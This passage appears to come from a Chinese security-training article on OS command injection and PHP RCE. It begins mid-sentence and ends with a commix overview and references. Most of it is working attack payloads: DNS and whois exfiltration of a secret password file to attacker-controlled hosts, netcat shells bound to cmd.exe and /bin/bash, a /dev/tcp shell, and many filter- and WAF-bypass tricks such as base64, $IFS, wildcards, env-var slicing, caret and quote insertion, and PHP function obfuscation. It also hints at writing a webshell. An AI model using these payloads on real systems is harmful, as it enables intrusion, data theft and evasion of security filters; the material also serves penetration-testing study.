文件,并查看注入命令的输出。
目标机通过向公网可通信的机器发起http请求,而这个公网可通信的机器是我们可控的,则当该公网机子收到http请求就代表命令有执行。
例:我们在公网机上可以通过”nc -lv 端口号”来监听该端口,当目标机”curl 公网机ip:端口号”的时候,公网机的该端口可以发现有http请求过来。(注意:ping命令不产生http请求)
利用域名解析请求。假设我们有个可控的二级域名,那么目标发出三级域名解析的时候,我们这边是能够拿到它的域名解析请求的,可以配合DNS请求进行命令执行的判断,这一般被称为dnslog。(要通过dns请求即可通过ping命令,也能通过curl命令,只要对域名进行访问,让域名服务器进行域名解析就可实现)
例:可以去ceye.io注册个账号,注册完后会给一个域名,如果有域名解析请求会有记录。
如得到的域名是test.ceye.io,当有主机访问1111. test.ceye.io时,就会记录下来这个域名解析请求。其中1111
可以替换成我们需要获取的信息。
如:cat /data/secret/password.txt | while read exfil; do host $exfil.contextis.com 192.168.107.135; done
wireshark抓的包中的数据:
以上方法很有效,但能反弹shell更好XD。
nc -L -p 9090 -e cmd.exe (Windows)
nc -l -p 9090 -e /bin/bash (*nix)
绕过技巧
绕过黑名单主要有以下方法:
- 拼接
[root@localhost home]# a=ca;b=t;c=1; $a$b $c.txt
this is your flag
- base64编码
[root@localhost home]# `echo "Y2F0IGZsYWc="|base64 -d`
this is your flag
或者
[root@localhost home]# echo "Y2F0IGZsYWc="|base64 -d|bash
this is your flag
- 单引号,双引号
[root@localhost home]# ca""t 1''.txt
this is your flag
- 反斜线
[root@localhost home]# c\at 1.t\xt
this is your flag
- 可变扩展绕过
/???/c?t /???/p?ss??
test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}
- 用通配符绕过
powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
- shell特殊变量($1,$2等和$@)
[root@localhost home]# ca$@t 1$1.txt
this is your flag
通过构造文件来绕过
linux下可以用
1 > a
创建文件名为a的空文件
ls -t>test
则会将目录按时间排序后写进test文件中
sh
命令可以从一个文件中读取命令来执行
linux平台:
root@localhost:~/Www$ cat</etc/passwd
root:x:0:0:root:/root:/bin/bash
root@localhost▸ ~ ▸ $ {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
root@localhost▸ ~ ▸ $ cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
root@localhost▸ ~ ▸ $ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
root@localhost▸ ~ ▸ $ X=$'uname\x20-a'&&$X
Linux crashlab 4.4.X-XX-generic #72-Ubuntu
root@localhost▸ ~ ▸ $ sh</dev/tcp/127.0.0.1/4242
windows平台:
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
当恶意命令被扩在引号内时,可用 \ 转义引号逃逸
linux bash:
root@veek▸ ~ ▸ $ echo ${HOME:0:1}
/
root@veek▸ ~ ▸ $ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash
root@veek▸ ~ ▸ $ echo . | tr '!-0' '"-1'
/
root@veek▸ ~ ▸ $ tr '!-0' '"-1' <<< .
/
root@veek▸ ~ ▸ $ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash
在看一个例子开始之前,首先了解一点,”和^这还有成对的圆括号()符号并不会影响命令的执行。在windows环境下,命令可以不区分大小写
whoami //正常执行
w"h"o"a"m"i //正常执行
w"h"o"a"m"i" //正常执行
wh""o^a^mi //正常执行
wh""o^am"i //正常执行
((((Wh^o^am""i)))) //正常执行
当然你可以加无数个”但不能同时连续加2个^符号,因为^号是cmd中的转义符,跟在他后面的符号会被转义
w"""""""""""""hoami //正常执行
w"""""""""""""hoa^m""i //正常执行
w"""""""""""""hoa^^m""i //执行错误
如果在命令执行的时候遇到了拦截命令的关键字,那么就可以使用这种方式绕过啦。
我们再了解一下cmd中的set命令和%符号的含义
首先set命令可以用来设置一个变量(环境变量也是变量哦~),那么%符号如下图
set a=1 //设置变量a,值为1
echo a //此时输出结果为"a"
echo %a% //此时输出结果为"1"
可以明显的看出,用两个%括起来的变量,会引用其变量内的值。那也就是说:
set a=whoami //设置变量a的值为whoami
%a% //引用变量a的值,直接执行了whoami命令
这样就可以执行命令了,又或者还可以
set a=who
set b=ami
%a%%b% //正常执行whoami
set a=w""ho
set b=a^mi
%a%%b% //根据前一知识点进行组合,正常执行whoami
set a=ser&& set b=ne&& set c=t u && call %b%%c%%a%
//在变量中设置空格,最后调用变量来执行命令
通常我们也可以自定义一个或者多个环境变量,利用环境变量值中的字符,提取并拼接出最终想要的cmd命令。如:Cmd /C "set envar=net user && call echo %envar%"
可以拼接出cmd命令:net user
也可以定义多个环境变量进行拼接命令串,提高静态分析的复杂度:cmd /c "set envar1=ser&& set envar2=ne&& set envar3=t u&&call echo %envar2%%envar3%%envar1%"
cmd命令的“/C”参数,Cmd /C “string”表示:执行字符串string指定的命令,然后终止。
而启用延迟的环境变量扩展,经常使用 cmd.exe的 /V:ON参数,
/V:ON参数启用时,可以不使用call命令来扩展变量,使用 %var% 或 !var! 来扩展变量,!var!可以用来代替%var%,也就是可以使用感叹号字符来替代运行时的环境变量值。后面介绍For循环时会需要开启/V:参数延迟变量扩展方式。
再进阶一下,命令行有没有类似php或者python之类的语言中的截取字符串的用法呢,当然也是有的。还拿刚才的whoami来举例
%a:~0% //取出a的值中的所有字符
此时正常执行whoami
%a:~0,6% //取出a的值,从第0个位置开始,取6个值
此时因为whoami总共就6个字符,所以取出后正常执行whoami
%a:~0,5% //取5个值,whoam无此命令
%a:~0,4% //取4个值,whoa无此命令
从上图可以看出,截取字符串的语法就是
%变量名:~x,y%
即对变量从第x个元素开始提取,总共取y个字符。
当然也可以写-x,-y,从后往前取
写作-x,可取从后往前数第x位的字符开始,一直到字符的末尾
-y来决定少取几个字符
继续操作
首先set看一下目前有哪些变量可以给我们用呢
第一个a=whoami可以暂时先忽略,是我自己设置的。
我自己电脑上的环境变量还是挺多的,那我几乎可以用这种方式执行任何命令,因为这些变量的值,几乎都有26个字母在了
从简单的开始,如果命令执行不允许空格,被过滤,那么可以
net%CommonProgramFiles:~10,1%user
CommonProgramFiles=C:Program FilesCommon Files
从CommonProgramFiles这个变量中截取,从第10个字符开始,截取后面一个字符,那这个空格就被截取到了(也就是Program和Files中间的那个空格),net user正常执行,当然了,还可以配合符号一起使用
n^et%CommonProgramFiles:~10,1%us^er
再列出C盘根目录
d^i^r%CommonProgramFiles:~10,1%%commonprogramfiles:~0,3%
//~10,1对应空格,~0,3对应"C:"
那假如环境变量里没有我们需要的字符怎么办呢,那就自己设置呗
set TJ=a bcde/$@";fgphvlrequst?
//比如上面这段组合成一个php一句话不难吧?
看到这里,聪明的你应该已经学会如何使用这种方式来给网站目录里写个webshell了吧。
继续往下,相信所有人都知道,|在cmd中,可以连接命令,且只会执行后面那条命令
whoami | ping www.baidu.com
ping www.baidu.com | wh""oam^i
//两条命令都只会执行后面的
而||符号的情况下,只有前面的命令失败,才会执行后面的语句
ping 127.0.0.1 || whoami //不执行whoami
ping xxx. || whoami //执行whoami
而&符号,前面的命令可以成功也可以失败,都会执行后面的命令,其实也可以说是只要有一条命令能执行就可以了,但whoami放在前面基本都会被检测
ping 127.0.0.1 & whoami //执行whoami
ping xxx. & whoami //执行whoami
而&&符号就必须两条命令都为真才可以了
ping www.baidu.com -n 1 && whoami //执行whoami
ping www && whoami //不执行whoami
For循环经常被用来混淆处理cmd命令,使得cmd命令看起来复杂且难以检测。最常用的For循环参数有 /L,/F参数。FOR 参数 %变量名 IN (相关文件或命令) DO 执行的命令
for /L %variable in (start,step,end) do command [command-parameters]
该命令表示以增量形式从开始到结束的一个数字序列。
使用迭代变量设置起始值(start).
然后逐步执行一组范围的值,直到该值超过所设置的终止值 (end)。
/L 将通过对start与end进行比较来执行迭代变量。
如果start小于end,就会执行该命令,否则命令解释程序退出此循环。
还可以使用负的 step以递减数值的方式逐步执行此范围内的值。
例如,(1,1,5) 生成序列 1 2 3 4 5,
而 (5,-1,1) 则生成序列 (5 4 3 2 1)。
命令cmd /C "for /L %i in (1,1,5) do start cmd"
会执行打开5个cmd窗口。
/F参数: 是最强大的命令,用来处理文件和一些命令的输出结果。
FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
FOR /F ["options"] %variable IN ("string") DO command [command-parameters]
FOR /F ["options"] %variable IN ('command') DO command [command-parameters]
(file-set) 为文件名,for会依次将file-set中的文件打开,并且在进行到下一个文件之前将每个文件读取到内存,按照每一行分成一个一个的元素,忽略空白行。
(“string”)代表字符串,(‘command’)代表命令。
假如文件aa.txt中有如下内容:
第1行第1列 第1行第2列
第2行第1列 第2行第2列
要想读出aa.txt中的内容,可以用for /F %i in (aa.txt) do echo %i
如果去掉/F参数则只会输出aa.txt,并不会读取其中的内容。
先从括号执行,因为含有参数/F,所以for会先打开aa.txt,然后读出aa.txt里面的所有内容,把它作为一个集合,并且以每一行作为一个元素。
由上图可见,并没有输出第二列的内容.
原因是如果没有指定"delims=符号列表"
这个开关
那么for /F语句会默认以空格键或Tab键作为分隔符。
For /F是以行为单位来处理文本文件的,如果我们想把每一行再分解成更小的内容,就使用delims和tokens选项。delims用来告诉for每一行用什么作为分隔符,默认分隔符是空格和Tab键。for /F "delims= " %i in (aa.txt) do echo %i
将delims设置为空格,是将每个元素以空格分割,默认只取分割之后的第一个元素。如果我们想得到第二列数据,就要用到tokens=2,来指定通过delims将每一行分成更小的元素时,要取出哪一个或哪几个元素:for /F "tokens=2 delims= " %i in (aa.txt) do echo %i
这个时候有好奇的观众朋友就要问了,那对方服务器是linux的话怎么办呢?
道理也是相同的
a=who
b=ami
$a$b
只不过windows的cmd下取变量值需要用两个%,linux下需要用$
那么我们又可以怎么组合呢,接着来看
Linux下用分号表示命令结束后执行后面的命令,无论前面的命令是否成功
ping www. ; whoami
echo tj ; whoami
符号|在linux中,可以连接命令,和win一样,也只会执行后面那条命令
其他符号如|| 、& 、&&和windows都是一样,不再过多赘述
那么让我们根据以上两点进行一个结合
t=l; j=s; i=" -al"; $t$j$i
哥哥们看图好了
自己服务器中:nc -lvvp 端口
payload发送给对方:whois -h ip -p 端口 `命令` //``为反引号
//下图以自身服务器的1234端口作演示,实际情况根据个人更改
使用whois来执行命令和传输文件
在实际的攻击场景中,可以在自己的攻击服务器上用nc监听一个公网端口,然后在存在命令执行漏洞的网站中发送payload请求,
对它使用whois命令使其命令执行结果返回给nc监听的端口,从而在自己服务器中查看
继续说回来,刚才我说了,windows下双引号和幂运算符号都不会影响命令的执行,linux也同理,如下图
whoami
wh$1oami
who$@ami
whoa$*mi
在绕过时,不管是windows还是linux,都可以自写fuzz脚本来进行测试
在linux中?扮演的角色是匹配任意一个字符,用?来绕过限制
which whoami //找到whoami路径
/u?r/?in/wh?am?
which ifconfig //找到ifconfig
/us?/sbin/if?onfig
同理可得,星号*在linux中用来代表一个或多个任何字符,包括空字符
/*/bin/wh*mi
/us*/*in/who*mi
组合起来!
/*s?/*?n/w?o*i
Linux中,反引号的作用是把括起来的字符当做命令执行
666`whoami`666
666`whoami`666
//命令执行后的结果在2个666中间
至于第二条命令为什么加个上面已经解释过了
我们再次组合起来
w`saldkj2190`ho`12wsa2`am`foj11`i
wh$(70shuai)oa$(fengfeng)mi
linux是否能像windows那样,使用环境变量里的字符执行变量呢,当然也是可以的。我就喜欢把一个命令写的好长,让别人看不懂,这样就感觉很厉害的样子
首先echo $PATH
Linux下严格区分大小写,不可以写成$path,但windows可以,细心的小伙伴可能发现前面windows下我写过CommonProgramFiles,也写过commonprogramfiles
接着我们来截取字符串,我懒得数echo ${#PATH}
长度为145-1=144
如果我现在要查看/root/目录下的123.txt文件,就可以像下图一样操作cat ${PATH:136:6}123.txt
那么相信让你拼接成想要的命令都不难吧,至于怎么设置变量然后去引用,不过多赘述,道理都是相同的,我找字符找的眼睛快瞎了${PATH:91:1}h${PATH:139:1}a${PATH:103:1}${PATH:143:1}
在linux下我们还可以使用大花括号来绕过空格的限制,比如ls -alt命令中间的空格{ls,-alt}
再比如cat /etc/passwd命令中间的空格{cat,/etc/passwd}
我们还可以使用<>来绕过空格。请仔细看执行后的效果。linux中,小于号<表示的是输入重定向,就是把<后面跟的文件取代键盘作为新的输入设备,而>大于号是输出重定向,比如一条命令,默认是将结果输出到屏幕。但可以用>来将输出重定向,用后面的文件来取代屏幕,将输出保存进文件里ls<>alt
我们还可以在自己的linux系统中将命令进行base64编码,然后再拿去目标请求中命令执行,使用base64的-d参数解码。
echo whoami|base64 //先输出whoami的base64编码
`echo dwhvYW1pCg==|base64 -d` //将其base64解码
再次强调用反引号括起来的值会被当做命令执行。
以下提供一些绕过的思路,主要是php下的情况。
php变量函数
PHP支持变量函数这一表现形式。这表明,如果在变量名后附加圆括号,PHP将查找是否有和变量值相同的名字的函数,并尝试执行它。这个特性也可以应用于实现函数回调、函数表等。
这意味像$var(args);
和"string"(args);
等表现形式等同于function(args);
如果可以通过使用变量或字符串去调用函数,那更进一步,我们就可以使用不同的进制序列去代替原函数名。以下是一个例子,目标过滤了system之类的敏感函数,导致无法利用代码执行:
上图中的第三行显示了一个一个十六进制字符序列,是由字符串”system”转换而成,然后在后面跟上参数”ls”。尝试在脚本中执行一下:
值得注意的是,这种方法不适用于所有PHP函数,这种变量函数方法不能用于构造诸如echo、print、unset()、isset()、empty()、include、require等系统特殊函数。但你也可以使用包装函数来构造它们。
如果再对双引号和单引号做限制呢?是否能绕过这种限制?让我们试试:
正如在上图所看到的第三行,现在脚本会对用户输入的引号报警,我们以前的payload已经不能用了。
幸运的是,在PHP中字符串并不总是伴随着引号。在PHP中,我们可以主动声明它的类型,像例如$a = (string)foo;
在这种情况下,变量$a
就是字符串“foo”。此外,还可以使用圆括号,如下图:
在以上这种情况下,我们有两种方式绕过新的安全限制:
第一个是使用(system)(ls);
,但因为不能使用“system”这个字符串,所以我们可以用字符串连接,例如(sy.(st).em)(ls);
。
第二种是使用变量$_GET
。如果我发送这样一个请求?a=system&b=ls&code=$_GET[a]($_GET[b]);
,那么在代码执行中,$_GET[a]
和$_GET[b]
会被system和ls所替代,最终绕过引号的安全限制。
此外,还可以通过在函数名和参数内插入注释来绕过安全防御。以下所示都是有效的:
小标题所示的PHP系统函数会返回一个多维数组,该数组包含一个所有已定义函数(包括内部函数和用户定义函数)列表。内部函数可以通过$arr["internal"]
来表示,用户定义的函数可以使用$arr["user"]
来表示。例如:
以上就是在不使用系统函数的名称的情况下引用系统函数的另一种方式。如果我们筛选字符串”system”,可以找出它的索引号,并利用这种方式使用它:
当然,这种方式也可以绕过WAF和代码中的安全过滤:
PHP中的每个字符串都可视为一个字符数组,并且可以通过语法$string[2]
或 $string[-3]
来引用单个字符。这同时也是另一种绕过安全规则的方法。例如,仅仅使用字符串$a="elmsty/";
,我就可以组成命令执行语句system("ls /tmp");
如果幸运的话,你可以在脚本文件名中找到所需的所有字符。然后使用同样的方法,利用(__FILE__)[2]
,就可以凑齐所有的命令执行字符:
利用工具
commix
Commix(简写为[comm]和[i]njection e[x]ploiter),是由Anastasios Stasinopoulos 编写的一个自动化工具,可以由web开发人员、渗透测试人员甚至安全研究人员使用,用于测试基于web的应用程序,以发现与命令注入攻击相关的bugs、错误或漏洞。通过使用该工具,可以很容易地在某个脆弱参数或HTTP头中发现和利用命令注入漏洞。
工具的指令参数很多,具体可使用help获取,这里不再详细讲述。提供几个重要的命令:
目标:
-u URL,—url = URL 目标URL。
请求:
—data=DATA 要通过POST发送的数据字符串。
—host=HOST HTTP主机头。
—referer=REFERER HTTP Referer标头。
—user-agent=AGENT HTTP用户代理头。
—random-agent 使用随机选择的HTTP User-Agent头。
—cookie=COOKIE HTTP Cookie头。
—headers=HEADERS 额外标头(例如「Header1:Value1 \ nHeader2:Value2」)。
—force-ssl 强制使用SSL / HTTPS。
参考资料
说说RCE那些事儿 –https://www.madebug.net/static/drops/tools-3786.html
How To Exploit PHP Remotely To Bypass Filters & WAF Rules –https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/
ctf中常见php rce绕过总结 – 先知社区 –https://xz.aliyun.com/t/8354
什么是OS命令注入,如何防止 –https://portswigger.net/web-security/os-command-injection
[工具] Commix –https://github.com/commixproject/commix
PayloadsAllTheThings / Command Injection –https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
官方公众号:掌控安全EDU